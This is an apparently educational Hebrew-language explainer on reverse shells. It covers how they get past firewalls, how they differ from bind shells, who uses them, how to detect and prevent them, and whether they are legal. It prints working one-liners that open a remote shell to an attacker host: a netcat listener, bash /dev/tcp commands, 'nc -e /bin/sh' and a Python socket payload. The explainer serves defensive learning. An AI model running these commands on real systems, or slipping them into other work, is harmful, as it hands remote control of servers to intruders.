Reverse Shell
TL;DR: Reverse Shell
מעטפת הפוכה, הידועה גם כקונכייה מחוברת, היא כאשר מערכת שנפרצה מתחברת לתוקף ומספקת לו סשן שורת פקודה חי.
למה זה חשוב?
- מעטפות הפוכות יכולות לעקוף חומות אש מכיוון שרוב חומות האש חוסמות חיבורים נכנסים אך מאפשרות חיבורים יוצאים.
- התוקפים מקבלים שליטה אמיתית מכיוון שהם יכולים להריץ פקודות בדיוק כמו שהם מחוברים ישירות.
- מעטפות הפוכות הן מאוד נפוצות מכיוון שהן שלב סטנדרטי לאחר שתוקף מנצל מערכת.
דמיינו זאת כך: במקום שהתוקף ינסה להיכנס, הם מרמים את השרת לפנות אליהם.
מהי מעטפת הפוכה?
מעטפת הפוכה היא מעטפת מרחוק שבה מחשב הקורבן מתחיל את החיבור למחשב התוקף.
בדרך כלל, המחשב שלך מתחיל את החיבור, כמו כשאתה מבקר באתר אינטרנט. עם מעטפת הפוכה, זה מתהפך. לאחר שהתוקף מוצא דרך להריץ קוד, השרת מתחבר חזרה לתוקף.
דרך קלה לזכור זאת:
- מעטפת מחוברת: אתה מנסה להתחבר לשרת. אם חומת אש חוסמת אותך, אתה לא יכול לעבור.
- מעטפת הפוכה: השרת מתחבר אליך. מכיוון שחיבורים יוצאים בדרך כלל מותרים, אתה יכול לענות ולקבל שליטה.
למה מעטפות הפוכות חשובות
צוותי אבטחה בדרך כלל מתמקדים בהגנות כמו חומות אש, מאזני עומס והגבלת פורטים. אלה עובדים עד שתוקף מצליח להריץ קוד בתוך המערכת.
כאשר זה קורה, המעטפת ההפוכה הופכת לדרך העיקרית של התוקף להישאר בפנים.
למה זה מסוכן:
-
תעבורה יוצאת נחשבת אמינה.
חומות אש לעיתים קרובות מאפשרות תעבורה יוצאת על פורטים כמו 80 או 443 עבור עדכונים ו-APIs. מעטפות הפוכות יכולות להסתתר בתעבורה המותרת הזו.
-
תוקפים יכולים לשמור על גישה.
גם אם החור הביטחוני המקורי תוקן, מעטפה פעילה עדיין יכולה לאפשר לתוקפים לשלוט במערכת.
-
זה מאפשר תנועה רוחבית.
עם מעטפה, תוקפים יכולים להסתכל סביב הרשת הפנימית, לגנוב סיסמאות ולהעביר למחשבים אחרים. פגיעות אחת יכולה במהירות להוביל לפגיעה בכל הסביבה.
איך מעטפה הפוכה עובדת
מעטפה הפוכה כוללת שני חלקים עיקריים: המאזין והמטען.
1. המאזין (צד התוקף)
התוקף משתמש בתוכנית שממתינה לחיבורים. Netcat הוא כלי נפוץ לכך.
nc -lvnp 4444
הפקודה הזו אומרת למחשב התוקף להאזין על פורט 4444 ולהמתין לחיבור.
2. המטען (צד הקורבן)
לאחר מציאת פגיעות כמו ביצוע קוד מרחוק, התוקף מריץ פקודה על שרת הקורבן לפתוח מעטפה ולשלוח אותה חזרה.
bash -i >& /dev/tcp/attacker-ip/4444 0>&1
הפקודה הזו מתחילה מעטפת bash ושולחת את כל הקלט והפלט למחשב התוקף.
3. החיבור
שרת הקורבן מתחיל חיבור יוצא. חומת האש רואה זאת כרגיל ומאפשרת זאת. המאזין של התוקף מקבל את החיבור, מה שנותן לתוקף מעטפה חיה על השרת.
בשלב זה, לתוקף יש שליטה אינטראקטיבית מלאה על השרת.
דוגמאות נפוצות למעטפות הפוכות
תוקפים והאקרים אתיים מתאימים את הגישה שלהם בהתאם לכלים הזמינים במערכת היעד.
Bash (נפוץ בלינוקס)
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
Netcat
משמש כאשר Netcat זמין במכונת היעד.
nc -e /bin/sh 10.0.0.1 4444
Python
פייתון נפוץ מאוד בשרתים מודרניים.
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"]);'
Reverse Shell vs Bind Shell
הבנת ההבדל בין Reverse Shell ל-Bind Shell מסייעת בהגנה על רשתות.
| תכונה | Bind Shell | Reverse Shell |
|---|---|---|
| כיוון החיבור | תוקף לקורבן | קורבן לתוקף |
| השפעת חומת אש | לעיתים קרובות נחסם | לעיתים קרובות מותר |
| דרישות רשת | גישה ישירה נדרשת | עובד דרך NAT וחומות אש |
| שימוש טיפוסי | רשתות פנימיות | התקפות בעולם האמיתי |
מי משתמש ב-Reverse Shells?
- בודקי חדירה משתמשים ב-Reverse Shells כדי להוכיח שפגיעות יכולה להוביל לפשרה מלאה של המערכת.
- צוותים אדומים משתמשים ב-Reverse Shells כדי לבדוק עד כמה תעבורה יוצאת נשלטת.
- שחקנים זדוניים משתמשים ב-Reverse Shells כדי לפרוס תוכנות כופר, לגנוב נתונים או להתקדם ברשת.
- מנהלי מערכת לעיתים רחוקות משתמשים ב-Reverse Shells לגישה מרחוק. הם בדרך כלל מעדיפים מנהרות SSH מאובטחות.
גילוי ומניעה
עצירת Reverse Shells דורשת מספר שכבות הגנה.
-
סינון תעבורה יוצאת
שרתים לא צריכים להיות בעלי גישה פתוחה לאינטרנט. הגבל את היעדים והפורט שהם יכולים להשתמש בהם.
-
ניטור התנהגות
שרת אינטרנט שמפעיל תהליך של מעטפת, כמו /bin/bash או cmd.exe, הוא חשוד מאוד.
-
הפחתת שטח התקפה.
הסר כלים לא בשימוש כמו Netcat, קומפיילרים ומפרשים נוספים ממערכות ייצור.
מונחים קשורים
- ביצוע קוד מרחוק (RCE)
- Bind Shell
שאלות נפוצות: Reverse Shell
האם Reverse Shell חוקי?
Reverse Shell חוקיים רק אם אתה משתמש בהם על מערכות שאתה הבעלים שלהן או שיש לך הרשאה ברורה לבדוק. שימוש בהם ללא הרשאה הוא בלתי חוקי.
מדוע חומות אש מאפשרות Reverse Shells?
חומות אש נבנות כדי לחסום איומים נכנסים ובדרך כלל סומכות על תעבורה יוצאת. Reverse Shells מנצלים זאת.
האם אנטי-וירוס יכול לזהות Reverse Shells?
לפעמים. תוכנת אנטי-וירוס שמשתמשת בחתימות יכולה למצוא תוכניות מעטפת מוכרות, אך מעטפות ללא קבצים שנעשו עם Bash או Python קשה יותר לזהות.
מה ההבדל בין Reverse Shell ל-Webshell?
Webshell משמש דרך דפדפן ונשאר בדרך כלל על המערכת, אך יש לו תכונות מוגבלות. Reverse Shell נותן סשן פקודות חי ואינטראקטיבי.